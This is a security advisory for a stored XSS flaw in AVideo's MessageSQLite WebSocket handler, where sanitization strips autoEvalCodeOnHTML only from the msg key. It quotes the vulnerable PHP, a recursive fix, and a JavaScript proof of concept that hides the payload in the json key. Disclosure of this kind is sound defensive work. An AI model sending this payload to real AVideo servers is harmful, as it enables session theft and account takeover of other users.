PT-2026-46842 · Packagist · Wwbn Avideo

Published

2026-06-04

·

Updated

2026-06-04

CVSS v4.0

7.7

High

VectorAV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

AVideo: Stored XSS via autoEvalCodeOnHTML in MessageSQLite WebSocket Handler

Summary

AVideo has a stored XSS vulnerability in the WebSocket messaging system. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely.

Affected Versions

AVideo <= latest

Vulnerability Details

Root Cause: Shallow sanitization only covers $json['msg']

plugin/YPTSocket/MessageSQLite.php lines 268-271 — the incomplete fix:
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
  if (is array($json['msg'] ?? null)) {
    unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg']
  }
}
plugin/YPTSocket/MessageSQLite.php lines 361-367 — the bypass via msgToResourceId():
if (!empty($msg['json'])) {
  $obj['msg'] = $msg['json'];    // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped
} else if (!empty($msg['msg'])) {
  $obj['msg'] = $msg['msg'];    // Only this path was sanitized
} else {
  $obj['msg'] = $msg;
}
Compare with the correctly patched Message.php (lines 254-256):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths
And MessageSQLiteV2.php (lines 302-303):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix
MessageSQLite.php does not call removeAutoEvalCodeOnHTMLRecursive() at all.

Attack Chain

  • Attacker sends a WebSocket message with autoEvalCodeOnHTML in the json key instead of msg
  • The fix at line 268-271 only checks $json['msg'] — the json key is untouched
  • msgToResourceId() reads $msg['json'] first (line 361) because !empty($msg['json']) is true
  • The payload is delivered to the victim's WebSocket client and evaluated via autoEvalCodeOnHTML

Proof of Concept

// Connect to AVideo WebSocket as authenticated user
const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER TOKEN');

ws.onopen = () => {
 ws.send(JSON.stringify({
  msg: "Hello",                // sanitized path — decoy
  json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload
  to users id: VICTIM USER ID,
  resourceId: RESOURCE ID
 }));
};
// Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism

Impact

An authenticated attacker can:
  • Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system
  • Steal session cookies and authentication tokens
  • Perform account takeover via session hijacking
  • Chain with CSRF to execute admin actions on behalf of the victim
The vulnerability affects the default SQLite WebSocket backend configuration.

Suggested Remediation

Apply removeAutoEvalCodeOnHTMLRecursive() in MessageSQLite.php, consistent with Message.php and MessageSQLiteV2.php:
// Before (vulnerable — shallow strip):
if (is array($json['msg'] ?? null)) {
  unset($json['msg']['autoEvalCodeOnHTML']);
}

// After (fixed — recursive strip):
$json = removeAutoEvalCodeOnHTMLRecursive($json);

Fix

XSS

Weakness Enumeration

CWE-79

Related Identifiers

GHSA-2FHX-Q92V-5FHV

Affected Products

Wwbn Avideo